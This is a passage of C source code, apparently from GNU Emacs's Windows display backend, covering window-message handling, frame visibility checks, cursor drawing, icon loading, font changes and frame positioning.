WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_XBUTTONDOWN: case WM_XBUTTONUP: { /* If we decide we want to generate an event to be seen by the rest of Emacs, we put it here. */ Lisp_Object tab_bar_arg = Qnil; bool tab_bar_p = 0; bool tool_bar_p = 0; int button = 0; int up = 0; f = mouse_or_wdesc_frame (dpyinfo, msg.msg.hwnd); if (f) { w32_construct_mouse_click (&inev, &msg, f); /* Is this in the tab-bar? */ if (WINDOWP (f->tab_bar_window) && WINDOW_TOTAL_LINES (XWINDOW (f->tab_bar_window))) { Lisp_Object window; int x = XFIXNAT (inev.x); int y = XFIXNAT (inev.y); window = window_from_coordinates (f, x, y, 0, 1, 1); if (EQ (window, f->tab_bar_window)) { tab_bar_arg = w32_handle_tab_bar_click (f, &inev); tab_bar_p = 1; } } if ((tab_bar_p && NILP (tab_bar_arg)) || (dpyinfo->w32_focus_frame && f != dpyinfo->w32_focus_frame /* This does not help when the click happens in a grand-parent frame. */ && !frame_ancestor_p (f, dpyinfo->w32_focus_frame))) inev.kind = NO_EVENT; if (!NILP (tab_bar_arg)) inev.arg = tab_bar_arg; /* Is this in the tool-bar? */ if (WINDOWP (f->tool_bar_window) && WINDOW_TOTAL_LINES (XWINDOW (f->tool_bar_window))) { Lisp_Object window; int x = XFIXNAT (inev.x); int y = XFIXNAT (inev.y); window = window_from_coordinates (f, x, y, 0, 1, 1); if (EQ (window, f->tool_bar_window)) { w32_handle_tool_bar_click (f, &inev); tool_bar_p = 1; } } if (tool_bar_p || (dpyinfo->w32_focus_frame && f != dpyinfo->w32_focus_frame /* This does not help when the click happens in a grand-parent frame. */ && !frame_ancestor_p (f, dpyinfo->w32_focus_frame))) inev.kind = NO_EVENT; } parse_button (msg.msg.message, HIWORD (msg.msg.wParam), &button, &up); if (up) { dpyinfo->grabbed &= ~ (1 << button); } else { dpyinfo->grabbed |= (1 << button); dpyinfo->last_mouse_frame = f; /* Ignore any mouse motion that happened before this event; any subsequent mouse-movement Emacs events should reflect only motion after the ButtonPress. */ if (f != 0) { f->mouse_moved = false; if (!tab_bar_p) f->last_tab_bar_item = -1; if (!tool_bar_p) f->last_tool_bar_item = -1; } } break; } case WM_MOUSEWHEEL: case WM_MOUSEHWHEEL: { f = mouse_or_wdesc_frame (dpyinfo, msg.msg.hwnd); if (f) { if (!dpyinfo->w32_focus_frame || f == dpyinfo->w32_focus_frame) /* Emit an Emacs wheel-up/down event. */ { w32_construct_mouse_wheel (&inev, &msg, f); /* Ignore any mouse motion that happened before this event; any subsequent mouse-movement Emacs events should reflect only motion after the ButtonPress. */ f->mouse_moved = false; f->last_tab_bar_item = -1; f->last_tool_bar_item = -1; dpyinfo->last_mouse_frame = f; } else if (FRAME_NO_ACCEPT_FOCUS (f) && !gui_mouse_grabbed (dpyinfo)) { Lisp_Object frame1 = get_frame_param (f, Qmouse_wheel_frame); struct frame *f1 = FRAMEP (frame1) ? XFRAME (frame1) : NULL; if (f1 && FRAME_LIVE_P (f1) && FRAME_W32_P (f1)) { w32_construct_mouse_wheel (&inev, &msg, f1); f1->mouse_moved = false; f1->last_tab_bar_item = -1; f1->last_tool_bar_item = -1; dpyinfo->last_mouse_frame = f1; } else dpyinfo->last_mouse_frame = f; } else dpyinfo->last_mouse_frame = f; } else dpyinfo->last_mouse_frame = f; } break; case WM_DROPFILES: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) w32_construct_drag_n_drop (&inev, &msg, f); break; case WM_HSCROLL: { struct scroll_bar *bar = w32_window_to_scroll_bar ((HWND)msg.msg.lParam, 1); if (bar) w32_horizontal_scroll_bar_handle_click (bar, &msg, &inev); break; } case WM_VSCROLL: { struct scroll_bar *bar = w32_window_to_scroll_bar ((HWND)msg.msg.lParam, 0); if (bar) w32_scroll_bar_handle_click (bar, &msg, &inev); break; } case WM_WINDOWPOSCHANGED: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { RECT rect; int /* rows, columns, */ width, height; if (GetClientRect (msg.msg.hwnd, &rect) /* GetClientRect evidently returns (0, 0, 0, 0) if called on a minimized frame. Such "dimensions" aren't useful anyway. */ && !(rect.bottom == 0 && rect.top == 0 && rect.left == 0 && rect.right == 0)) { height = rect.bottom - rect.top; width = rect.right - rect.left; if (width != FRAME_PIXEL_WIDTH (f) || height != FRAME_PIXEL_HEIGHT (f)) { change_frame_size (f, width, height, false, true, false); SET_FRAME_GARBAGED (f); cancel_mouse_face (f); f->win_gravity = NorthWestGravity; } } } check_visibility = 1; break; case WM_ACTIVATE: case WM_ACTIVATEAPP: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { /* Run the full-screen hook function also when we are being activated, to actually install the required size in effect, if the WAIT flag is set. This is because when the hook is run from gui_set_fullscreen, the frame might not yet be visible, if that call is a result of make-frame, and in that case the hook just sets the WAIT flag. */ if ((msg.msg.message == WM_WINDOWPOSCHANGED || msg.msg.wParam) && (f->want_fullscreen & FULLSCREEN_WAIT)) { /* Must set visibility right here since otherwise w32fullscreen_hook returns immediately. */ SET_FRAME_VISIBLE (f, 1); w32fullscreen_hook (f); } } check_visibility = 1; break; case WM_MOVE: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f && FRAME_VISIBLE_P (f) && !FRAME_ICONIFIED_P(f) && !FRAME_TOOLTIP_P (f)) { w32_real_positions (f, &f->left_pos, &f->top_pos); inev.kind = MOVE_FRAME_EVENT; XSETFRAME (inev.frame_or_window, f); } check_visibility = 1; break; case WM_SHOWWINDOW: /* wParam non-zero means Window is about to be shown, 0 means about to be hidden. */ /* Redo the mouse-highlight after the tooltip has gone. */ if (!msg.msg.wParam && msg.msg.hwnd == tip_window) { tip_window = NULL; gui_redo_mouse_highlight (dpyinfo); } /* If window has been obscured or exposed by another window being maximized or minimized/restored, then recheck visibility of all frames. Direct changes to our own windows get handled by WM_SIZE. */ #if 0 if (msg.msg.lParam != 0) check_visibility = 1; else { f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); f->async_visible = msg.msg.wParam; } #endif f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) w32_clear_under_internal_border (f); check_visibility = 1; break; case WM_SIZE: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); /* Inform lisp of whether frame has been iconified etc. */ if (f) { switch (msg.msg.wParam) { case SIZE_MINIMIZED: SET_FRAME_VISIBLE (f, 0); SET_FRAME_ICONIFIED (f, true); inev.kind = ICONIFY_EVENT; XSETFRAME (inev.frame_or_window, f); break; case SIZE_MAXIMIZED: { bool iconified = FRAME_ICONIFIED_P (f); Lisp_Object fullscreen = get_frame_param (f, Qfullscreen); SET_FRAME_VISIBLE (f, 1); SET_FRAME_ICONIFIED (f, false); /* wait_reading_process_output will notice this and update the frame's display structures. */ SET_FRAME_GARBAGED (f); if (iconified) { int x, y; /* Reset top and left positions of the Window here since Windows sends a WM_MOVE message BEFORE telling us the Window is minimized when the Window is iconified, with 3000,3000 as the co-ords. */ w32_real_positions (f, &x, &y); f->left_pos = x; f->top_pos = y; inev.kind = DEICONIFY_EVENT; XSETFRAME (inev.frame_or_window, f); } /* Windows can send us a SIZE_MAXIMIZED message even when fullscreen is fullboth. The following is a simple hack to check that based on the fact that only a maximized fullscreen frame should have top or left outside the screen. */ if (EQ (fullscreen, Qfullwidth) || EQ (fullscreen, Qfullheight) || NILP (fullscreen)) { int x, y; w32_real_positions (f, &x, &y); if (x < 0 || y < 0) store_frame_param (f, Qfullscreen, Qmaximized); } } break; case SIZE_RESTORED: { bool iconified = FRAME_ICONIFIED_P (f); /* The following was made unconditional in a pathetic attempt to fix bug#16967 in revision 116716 but, considered counterproductive was made conditional again in revision 116727. martin */ if (iconified) SET_FRAME_VISIBLE (f, 1); SET_FRAME_ICONIFIED (f, false); /* wait_reading_process_output will notice this and update the frame's display structures. */ SET_FRAME_GARBAGED (f); if (iconified) { /* Reset top and left positions of the Window here since Windows sends a WM_MOVE message BEFORE telling us the Window is minimized when the Window is iconified, with 3000,3000 as the co-ords. */ w32_real_positions (f, &f->left_pos, &f->top_pos); inev.kind = DEICONIFY_EVENT; XSETFRAME (inev.frame_or_window, f); } } if (EQ (get_frame_param (f, Qfullscreen), Qmaximized)) store_frame_param (f, Qfullscreen, Qnil); break; } } if (f && !FRAME_ICONIFIED_P (f) && msg.msg.wParam != SIZE_MINIMIZED) { RECT rect; int /* rows, columns, */ width, height; if (GetClientRect (msg.msg.hwnd, &rect) /* GetClientRect evidently returns (0, 0, 0, 0) if called on a minimized frame. Such "dimensions" aren't useful anyway. */ && !(rect.bottom == 0 && rect.top == 0 && rect.left == 0 && rect.right == 0)) { height = rect.bottom - rect.top; width = rect.right - rect.left; if (width != FRAME_PIXEL_WIDTH (f) || height != FRAME_PIXEL_HEIGHT (f)) { change_frame_size (f, width, height, false, true, false); SET_FRAME_GARBAGED (f); cancel_mouse_face (f); f->win_gravity = NorthWestGravity; } } } check_visibility = 1; break; case WM_MOUSELEAVE: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { if (f == hlinfo->mouse_face_mouse_frame) { /* If we move outside the frame, then we're certainly no longer on any text in the frame. */ clear_mouse_face (hlinfo); hlinfo->mouse_face_mouse_frame = 0; } /* Generate a nil HELP_EVENT to cancel a help-echo. Do it only if there's something to cancel. Otherwise, the startup message is cleared when the mouse leaves the frame. */ if (any_help_event_p) do_help = -1; } break; case WM_SETFOCUS: w32_detect_focus_change (dpyinfo, &msg, &inev); dpyinfo->grabbed = 0; check_visibility = 1; break; case WM_KILLFOCUS: w32_detect_focus_change (dpyinfo, &msg, &inev); f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { if (f == hlinfo->mouse_face_mouse_frame) { /* If we move outside the frame, then we're certainly no longer on any text in the frame. */ clear_mouse_face (hlinfo); hlinfo->mouse_face_mouse_frame = 0; } /* Generate a nil HELP_EVENT to cancel a help-echo. Do it only if there's something to cancel. Otherwise, the startup message is cleared when the mouse leaves the frame. */ if (any_help_event_p) do_help = -1; } dpyinfo->grabbed = 0; check_visibility = 1; break; case WM_CLOSE: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { inev.kind = DELETE_WINDOW_EVENT; XSETFRAME (inev.frame_or_window, f); } break; case WM_ENDSESSION: inev.kind = END_SESSION_EVENT; break; case WM_INITMENU: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { inev.kind = MENU_BAR_ACTIVATE_EVENT; XSETFRAME (inev.frame_or_window, f); } break; case WM_COMMAND: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { menubar_selection_callback (f, (void *)msg.msg.wParam); } check_visibility = 1; break; case WM_DISPLAYCHANGE: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { Lisp_Object fullscreen = get_frame_param (f, Qfullscreen); dpyinfo->n_cbits = msg.msg.wParam; /* The new display could have a different resolution, in which case we must reconsider what fullscreen means. The following code is untested yet. */ if (!NILP (fullscreen)) { gui_set_fullscreen (f, fullscreen, fullscreen); w32fullscreen_hook (f); } DebPrint (("display change: %d %d\n", (short) LOWORD (msg.msg.lParam), (short) HIWORD (msg.msg.lParam))); } check_visibility = 1; break; #if HAVE_W32NOTIFY case WM_EMACS_FILENOTIFY: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) w32_queue_notifications (&inev, &msg, f, &count); break; #endif default: /* Check for messages registered at runtime. */ if (msg.msg.message == msh_mousewheel) { /* Forward MSH_MOUSEWHEEL as WM_MOUSEWHEEL. */ msg.msg.message = WM_MOUSEWHEEL; prepend_msg (&msg); } break; } if (inev.kind != NO_EVENT) { kbd_buffer_store_event_hold (&inev, hold_quit); count++; } if (do_help && !(hold_quit && hold_quit->kind != NO_EVENT)) { Lisp_Object frame; if (f) XSETFRAME (frame, f); else frame = Qnil; if (do_help > 0) { if (NILP (help_echo_string)) { help_echo_object = help_echo_window = Qnil; help_echo_pos = -1; } any_help_event_p = 1; gen_help_event (help_echo_string, frame, help_echo_window, help_echo_object, help_echo_pos); } else { help_echo_string = Qnil; gen_help_event (Qnil, frame, Qnil, Qnil, 0); } count++; } } /* If the focus was just given to an autoraising frame, raise it now. FIXME: handle more than one such frame. */ if (dpyinfo->w32_pending_autoraise_frame) { w32_raise_frame (dpyinfo->w32_pending_autoraise_frame); dpyinfo->w32_pending_autoraise_frame = NULL; } /* Check which frames are still visible, if we have enqueued any user events or been notified of events that may affect visibility. We do this here because there doesn't seem to be any direct notification from Windows that the visibility of a window has changed (at least, not in all cases). */ if (count > 0 || check_visibility) { Lisp_Object tail, frame; FOR_EACH_FRAME (tail, frame) { struct frame *f = XFRAME (frame); /* The tooltip has been drawn already. Avoid the SET_FRAME_GARBAGED below. */ if (FRAME_TOOLTIP_P (f)) continue; /* Check "visible" frames and mark each as obscured or not. Note that visible is nonzero for unobscured and obscured frames, but zero for hidden and iconified frames. */ if (FRAME_W32_P (f) && FRAME_VISIBLE_P (f)) { RECT clipbox; HDC hdc; bool obscured; enter_crit (); /* Query clipping rectangle for the entire window area (GetWindowDC), not just the client portion (GetDC). Otherwise, the scrollbars and menubar aren't counted as part of the visible area of the frame, and we may think the frame is obscured when really a scrollbar is still visible and gets WM_PAINT messages above. */ hdc = GetWindowDC (FRAME_W32_WINDOW (f)); GetClipBox (hdc, &clipbox); ReleaseDC (FRAME_W32_WINDOW (f), hdc); leave_crit (); obscured = FRAME_OBSCURED_P (f); if (clipbox.right == clipbox.left || clipbox.bottom == clipbox.top) { /* Frame has become completely obscured so mark as such (we do this by setting visible to 2 so that FRAME_VISIBLE_P is still true, but redisplay will skip it). */ SET_FRAME_VISIBLE (f, 2); if (!obscured) DebPrint (("frame %p (%s) obscured\n", f, SDATA (f->name))); } else { /* Frame is not obscured, so mark it as such. */ SET_FRAME_VISIBLE (f, 1); if (obscured) { SET_FRAME_GARBAGED (f); DebPrint (("obscured frame %p (%s) found to be visible\n", f, SDATA (f->name))); } } } } } unblock_input (); return count; } /*********************************************************************** Text Cursor ***********************************************************************/ /* Set clipping for output in glyph row ROW. W is the window in which we operate. GC is the graphics context to set clipping in. ROW may be a text row or, e.g., a mode line. Text rows must be clipped to the interior of the window dedicated to text display, mode lines must be clipped to the whole window. */ static void w32_clip_to_row (struct window *w, struct glyph_row *row, enum glyph_row_area area, HDC hdc) { RECT clip_rect; int window_x, window_y, window_width; window_box (w, area, &window_x, &window_y, &window_width, 0); clip_rect.left = window_x; clip_rect.top = WINDOW_TO_FRAME_PIXEL_Y (w, row->y); clip_rect.top = max (clip_rect.top, window_y); clip_rect.right = clip_rect.left + window_width; clip_rect.bottom = clip_rect.top + row->visible_height; w32_set_clip_rectangle (hdc, &clip_rect); } /* Draw a hollow box cursor on window W in glyph row ROW. */ static void w32_draw_hollow_cursor (struct window *w, struct glyph_row *row) { struct frame *f = XFRAME (WINDOW_FRAME (w)); HDC hdc; RECT rect; int left, top, h; struct glyph *cursor_glyph; HBRUSH hb = CreateSolidBrush (f->output_data.w32->cursor_pixel); /* Get the glyph the cursor is on. If we can't tell because the current matrix is invalid or such, give up. */ cursor_glyph = get_phys_cursor_glyph (w); if (cursor_glyph == NULL) { DeleteObject (hb); return; } /* Compute frame-relative coordinates for phys cursor. */ get_phys_cursor_geometry (w, row, cursor_glyph, &left, &top, &h); rect.left = left; /* When on R2L character, show cursor at the right edge of the glyph, unless the cursor box is as wide as the glyph or wider (the latter happens when x-stretch-cursor is non-nil). */ if ((cursor_glyph->resolved_level & 1) != 0 && cursor_glyph->pixel_width > w->phys_cursor_width) rect.left += cursor_glyph->pixel_width - w->phys_cursor_width; rect.top = top; rect.bottom = rect.top + h; rect.right = rect.left + w->phys_cursor_width; hdc = get_frame_dc (f); /* Set clipping, draw the rectangle, and reset clipping again. */ w32_clip_to_row (w, row, TEXT_AREA, hdc); FrameRect (hdc, &rect, hb); DeleteObject (hb); w32_set_clip_rectangle (hdc, NULL); release_frame_dc (f, hdc); } /* Draw a bar cursor on window W in glyph row ROW. Implementation note: One would like to draw a bar cursor with an angle equal to the one given by the font property XA_ITALIC_ANGLE. Unfortunately, I didn't find a font yet that has this property set. --gerd. */ static void w32_draw_bar_cursor (struct window *w, struct glyph_row *row, int width, enum text_cursor_kinds kind) { struct frame *f = XFRAME (w->frame); struct glyph *cursor_glyph; /* If cursor is out of bounds, don't draw garbage. This can happen in mini-buffer windows when switching between echo area glyphs and mini-buffer. */ cursor_glyph = get_phys_cursor_glyph (w); if (cursor_glyph == NULL) return; /* If on an image, draw like a normal cursor. That's usually better visible than drawing a bar, esp. if the image is large so that the bar might not be in the window. */ if (cursor_glyph->type == IMAGE_GLYPH) { struct glyph_row *row; row = MATRIX_ROW (w->current_matrix, w->phys_cursor.vpos); draw_phys_cursor_glyph (w, row, DRAW_CURSOR); } else { COLORREF cursor_color = f->output_data.w32->cursor_pixel; struct face *face = FACE_FROM_ID (f, cursor_glyph->face_id); int x; HDC hdc; /* If the glyph's background equals the color we normally draw the bar cursor in, the bar cursor in its normal color is invisible. Use the glyph's foreground color instead in this case, on the assumption that the glyph's colors are chosen so that the glyph is legible. */ if (face->background == cursor_color) cursor_color = face->foreground; x = WINDOW_TEXT_TO_FRAME_PIXEL_X (w, w->phys_cursor.x); hdc = get_frame_dc (f); w32_clip_to_row (w, row, TEXT_AREA, hdc); if (kind == BAR_CURSOR) { if (width < 0) width = FRAME_CURSOR_WIDTH (f); width = min (cursor_glyph->pixel_width, width); w->phys_cursor_width = width; /* If the character under cursor is R2L, draw the bar cursor on the right of its glyph, rather than on the left. */ if ((cursor_glyph->resolved_level & 1) != 0) x += cursor_glyph->pixel_width - width; w32_fill_area (f, hdc, cursor_color, x, WINDOW_TO_FRAME_PIXEL_Y (w, w->phys_cursor.y), width, row->height); } else /* HBAR_CURSOR */ { int dummy_x, dummy_y, dummy_h; if (width < 0) width = row->height; width = min (row->height, width); get_phys_cursor_geometry (w, row, cursor_glyph, &dummy_x, &dummy_y, &dummy_h); if ((cursor_glyph->resolved_level & 1) != 0 && cursor_glyph->pixel_width > w->phys_cursor_width) x += cursor_glyph->pixel_width - w->phys_cursor_width; w32_fill_area (f, hdc, cursor_color, x, WINDOW_TO_FRAME_PIXEL_Y (w, w->phys_cursor.y + row->height - width), w->phys_cursor_width, width); } w32_set_clip_rectangle (hdc, NULL); release_frame_dc (f, hdc); } } /* RIF: Define cursor CURSOR on frame F. */ static void w32_define_frame_cursor (struct frame *f, Emacs_Cursor cursor) { w32_define_cursor (FRAME_W32_WINDOW (f), cursor); } /* RIF: Clear area on frame F. */ static void w32_clear_frame_area (struct frame *f, int x, int y, int width, int height) { HDC hdc; hdc = get_frame_dc (f); w32_clear_area (f, hdc, x, y, width, height); release_frame_dc (f, hdc); } /* RIF: Draw or clear cursor on window W. */ static void w32_draw_window_cursor (struct window *w, struct glyph_row *glyph_row, int x, int y, enum text_cursor_kinds cursor_type, int cursor_width, bool on_p, bool active_p) { if (on_p) { /* If the user wants to use the system caret, make sure our own cursor remains invisible. */ if (w32_use_visible_system_caret) { /* Call to erase_phys_cursor here seems to use the wrong values of w->phys_cursor, as they have been overwritten before this function was called. */ if (w->phys_cursor_type != NO_CURSOR) erase_phys_cursor (w); cursor_type = w->phys_cursor_type = NO_CURSOR; w->phys_cursor_width = -1; } else { w->phys_cursor_type = cursor_type; } w->phys_cursor_on_p = true; /* If this is the active cursor, we need to track it with the system caret, so third party software like screen magnifiers and speech synthesizers can follow the cursor. */ if (active_p) { struct frame *f = XFRAME (WINDOW_FRAME (w)); HWND hwnd = FRAME_W32_WINDOW (f); w32_system_caret_x = WINDOW_TEXT_TO_FRAME_PIXEL_X (w, w->phys_cursor.x); w32_system_caret_y = (WINDOW_TO_FRAME_PIXEL_Y (w, w->phys_cursor.y) + glyph_row->ascent - w->phys_cursor_ascent); w32_system_caret_window = w; w32_system_caret_hdr_height = WINDOW_TAB_LINE_HEIGHT (w) + WINDOW_HEADER_LINE_HEIGHT (w); w32_system_caret_mode_height = WINDOW_MODE_LINE_HEIGHT (w); PostMessage (hwnd, WM_IME_STARTCOMPOSITION, 0, 0); /* If the size of the active cursor changed, destroy the old system caret. */ if (w32_system_caret_hwnd && (w32_system_caret_height != w->phys_cursor_height)) PostMessage (hwnd, WM_EMACS_DESTROY_CARET, 0, 0); w32_system_caret_height = w->phys_cursor_height; /* Move the system caret. */ PostMessage (hwnd, WM_EMACS_TRACK_CARET, 0, 0); } if (glyph_row->exact_window_width_line_p && (glyph_row->reversed_p ? (w->phys_cursor.hpos < 0) : (w->phys_cursor.hpos >= glyph_row->used[TEXT_AREA]))) { glyph_row->cursor_in_fringe_p = true; draw_fringe_bitmap (w, glyph_row, glyph_row->reversed_p); return; } switch (cursor_type) { case HOLLOW_BOX_CURSOR: w32_draw_hollow_cursor (w, glyph_row); break; case FILLED_BOX_CURSOR: draw_phys_cursor_glyph (w, glyph_row, DRAW_CURSOR); break; case BAR_CURSOR: w32_draw_bar_cursor (w, glyph_row, cursor_width, BAR_CURSOR); break; case HBAR_CURSOR: w32_draw_bar_cursor (w, glyph_row, cursor_width, HBAR_CURSOR); break; case NO_CURSOR: w->phys_cursor_width = 0; break; default: emacs_abort (); } } } /* Icons. */ static bool w32_bitmap_icon (struct frame *f, Lisp_Object icon) { HANDLE main_icon; HANDLE small_icon = NULL; if (FRAME_W32_WINDOW (f) == 0) return 1; if (NILP (icon)) main_icon = LoadIcon (hinst, EMACS_CLASS); else if (STRINGP (icon)) { /* Load the main icon from the named file. */ main_icon = LoadImage (NULL, (LPCTSTR) SDATA (icon), IMAGE_ICON, 0, 0, LR_DEFAULTSIZE | LR_LOADFROMFILE); /* Try to load a small icon to go with it. */ small_icon = LoadImage (NULL, (LPCSTR) SDATA (icon), IMAGE_ICON, GetSystemMetrics (SM_CXSMICON), GetSystemMetrics (SM_CYSMICON), LR_LOADFROMFILE); } else if (SYMBOLP (icon)) { LPCTSTR name; if (EQ (icon, intern ("application"))) name = (LPCTSTR) IDI_APPLICATION; else if (EQ (icon, intern ("hand"))) name = (LPCTSTR) IDI_HAND; else if (EQ (icon, intern ("question"))) name = (LPCTSTR) IDI_QUESTION; else if (EQ (icon, intern ("exclamation"))) name = (LPCTSTR) IDI_EXCLAMATION; else if (EQ (icon, intern ("asterisk"))) name = (LPCTSTR) IDI_ASTERISK; else if (EQ (icon, intern ("winlogo"))) name = (LPCTSTR) IDI_WINLOGO; else return 1; main_icon = LoadIcon (NULL, name); } else return 1; if (main_icon == NULL) return 1; PostMessage (FRAME_W32_WINDOW (f), WM_SETICON, (WPARAM) ICON_BIG, (LPARAM) main_icon); /* If there is a small icon that goes with it, set that too. */ if (small_icon) PostMessage (FRAME_W32_WINDOW (f), WM_SETICON, (WPARAM) ICON_SMALL, (LPARAM) small_icon); return 0; } /************************************************************************ Handling X errors ************************************************************************/ /* Display Error Handling functions not used on W32. Listing them here helps diff stay in step when comparing w32term.c with xterm.c. x_error_catcher (display, error) x_catch_errors (dpy) x_catch_errors_unwind (old_val) x_check_errors (dpy, format) x_fully_uncatch_errors () x_had_errors_p (dpy) x_clear_errors (dpy) x_uncatch_errors (dpy, count) x_trace_wire () x_connection_signal (signalnum) x_connection_closed (dpy, error_message) x_error_quitter (display, error) x_error_handler (display, error) x_io_error_quitter (display) */ /* Changing the font of the frame. */ static Lisp_Object w32_new_font (struct frame *f, Lisp_Object font_object, int fontset) { struct font *font = XFONT_OBJECT (font_object); int unit, font_ascent, font_descent; if (fontset < 0) fontset = fontset_from_font (font_object); FRAME_FONTSET (f) = fontset; if (FRAME_FONT (f) == font) /* This font is already set in frame F. There's nothing more to do. */ return font_object; FRAME_FONT (f) = font; FRAME_BASELINE_OFFSET (f) = font->baseline_offset; FRAME_COLUMN_WIDTH (f) = unit = font->average_width; get_font_ascent_descent (font, &font_ascent, &font_descent); FRAME_LINE_HEIGHT (f) = font_ascent + font_descent; /* Compute number of scrollbar columns. */ unit = FRAME_COLUMN_WIDTH (f); if (FRAME_CONFIG_SCROLL_BAR_WIDTH (f) > 0) FRAME_CONFIG_SCROLL_BAR_COLS (f) = (FRAME_CONFIG_SCROLL_BAR_WIDTH (f) + unit - 1) / unit; else { FRAME_CONFIG_SCROLL_BAR_COLS (f) = (14 + unit - 1) / unit; FRAME_CONFIG_SCROLL_BAR_WIDTH (f) = FRAME_CONFIG_SCROLL_BAR_COLS (f) * unit; } FRAME_TAB_BAR_HEIGHT (f) = FRAME_TAB_BAR_LINES (f) * FRAME_LINE_HEIGHT (f); /* Don't change the size of a tip frame; there's no point in doing it because it's done in Fx_show_tip, and it leads to problems because the tip frame has no widget. */ if (FRAME_NATIVE_WINDOW (f) != 0 && !FRAME_TOOLTIP_P (f)) adjust_frame_size (f, FRAME_COLS (f) * FRAME_COLUMN_WIDTH (f), FRAME_LINES (f) * FRAME_LINE_HEIGHT (f), 3, false, Qfont); /* X version sets font of input methods here also. */ return font_object; } /*********************************************************************** TODO: W32 Input Methods ***********************************************************************/ /* Listing missing functions from xterm.c helps diff stay in step. xim_destroy_callback (xim, client_data, call_data) xim_open_dpy (dpyinfo, resource_name) struct xim_inst_t xim_instantiate_callback (display, client_data, call_data) xim_initialize (dpyinfo, resource_name) xim_close_dpy (dpyinfo) */ /* Calculate the absolute position in frame F from its current recorded position values and gravity. */ static void w32_calc_absolute_position (struct frame *f) { int flags = f->size_hint_flags; /* The sum of the widths of the frame's left and right borders, and the sum of the heights of the frame's top and bottom borders (in pixels) drawn by Windows. */ unsigned int left_right_borders_width, top_bottom_borders_height; /* Try to get the actual values of these two variables. We compute the border width (height) by subtracting the width (height) of the frame's client area from the width (height) of the frame's entire window. */ WINDOWPLACEMENT wp = { 0 }; RECT client_rect = { 0 }; if (GetWindowPlacement (FRAME_W32_WINDOW (f), &wp) && GetClientRect (FRAME_W32_WINDOW (f), &client_rect)) { left_right_borders_width = (wp.rcNormalPosition.right - wp.rcNormalPosition.left) - (client_rect.right - client_rect.left); top_bottom_borders_height = (wp.rcNormalPosition.bottom - wp.rcNormalPosition.top) - (client_rect.bottom - client_rect.top); } else { /* Use sensible default values. */ left_right_borders_width = 8; top_bottom_borders_height = 32; } /* With multiple monitors, we can legitimately get negative coordinates (for monitors above or to the left of the primary monitor). Find the display origin to ensure negative positions are computed correctly (Bug#21173). */ int display_left = 0; int display_top = 0; struct frame *p = FRAME_PARENT_FRAME (f); if (!p && flags & (XNegative | YNegative)) { Lisp_Object list; list = Fw32_display_monitor_attributes_list (Qnil); while (CONSP (list)) { Lisp_Object attributes = CAR(list); Lisp_Object geometry; Lisp_Object monitor_left, monitor_top; list = CDR(list); geometry = Fassoc (Qgeometry, attributes, Qnil); if (!NILP (geometry)) { monitor_left = Fnth (make_fixnum (1), geometry); monitor_top = Fnth (make_fixnum (2), geometry); display_left = min (display_left, XFIXNUM (monitor_left)); display_top = min (display_top, XFIXNUM (monitor_top)); } } } /* Treat negative positions as relative to the rightmost bottommost position that fits on the screen or parent frame. I see no need for subtracting 1 from the border widths - is there any on the remaining platforms? Here these subtractions did put the last pixel line/column of a frame off-display when, for example, a (set-frame-parameter nil 'left '(- 0)) specification was used - martin 20017-05-05. */ if (flags & XNegative) { if (p) f->left_pos = (FRAME_PIXEL_WIDTH (p) - FRAME_PIXEL_WIDTH (f) + f->left_pos - left_right_borders_width); else f->left_pos = (w32_display_pixel_width (FRAME_DISPLAY_INFO (f)) + display_left - FRAME_PIXEL_WIDTH (f) + f->left_pos - left_right_borders_width); } if (flags & YNegative) { if (p) f->top_pos = (FRAME_PIXEL_HEIGHT (p) - FRAME_PIXEL_HEIGHT (f) + f->top_pos - top_bottom_borders_height); else f->top_pos = (w32_display_pixel_height (FRAME_DISPLAY_INFO (f)) + display_top - FRAME_PIXEL_HEIGHT (f) + f->top_pos - top_bottom_borders_height); } /* The left_pos and top_pos are now relative to the top and left screen edges, so the flags should correspond. */ f->size_hint_flags &= ~ (XNegative | YNegative); } /* CHANGE_GRAVITY is 1 when calling from Fset_frame_position, to really change the position, and 0 when calling from w32_make_frame_visible (in that case, XOFF and YOFF are the current position values). It is -1 when calling from gui_set_frame_parameters, which means, do adjust for borders but don't change the gravity. */ static void w32_set_offset (struct frame *f, register int xoff, register int yoff, int change_gravity) { int modified_top, modified_left; if (change_gravity > 0) { f->top_pos = yoff; f->left_pos = xoff; f->size_hint_flags &= ~ (XNegative | YNegative); if (xoff < 0) f->size_hint_flags |= XNegative; if (yoff < 0) f->size_hint_flags |= YNegative; f->win_gravity = NorthWestGravity; } w32_calc_absolute_position (f); block_input (); w32_wm_set_size_hint (f, (long) 0, false); modified_left = f->left_pos; modified_top = f->top_pos; if (!FRAME_PARENT_FRAME (f)) my_set_window_pos (FRAME_W32_WINDOW (f), NULL, modified_left, modified_top, 0, 0, SWP_NOZORDER | SWP_NOSIZE | SWP_NOACTIVATE); else my_set_window_pos (FRAME_W32_WINDOW (f), HWND_TOP, modified_left, modified_top, 0, 0, SWP_NOZORDER | SWP_NOSIZE | SWP_NOACTIVATE); unblock_input (); } static void w32fullscreen_hook (struct frame *f) { if (FRAME_VISIBLE_P (f)) { HWND hwnd = FRAME_W32_WINDOW(f); DWORD dwStyle = GetWindowLong (hwnd, GWL_STYLE); RECT rect; enum fullscreen_type prev_fsmode = FRAME_PREV_FSMODE (f); block_input(); f->want_fullscreen &= ~FULLSCREEN_WAIT; if (FRAME_PREV_FSMODE (f) == FULLSCREEN_NONE) GetWindowPlacement (hwnd, &FRAME_NORMAL_PLACEMENT (f)); if (FRAME_PREV_FSMODE (f) == FULLSCREEN_BOTH) { if (!FRAME_UNDECORATED (f)) SetWindowLong (hwnd, GWL_STYLE, dwStyle | 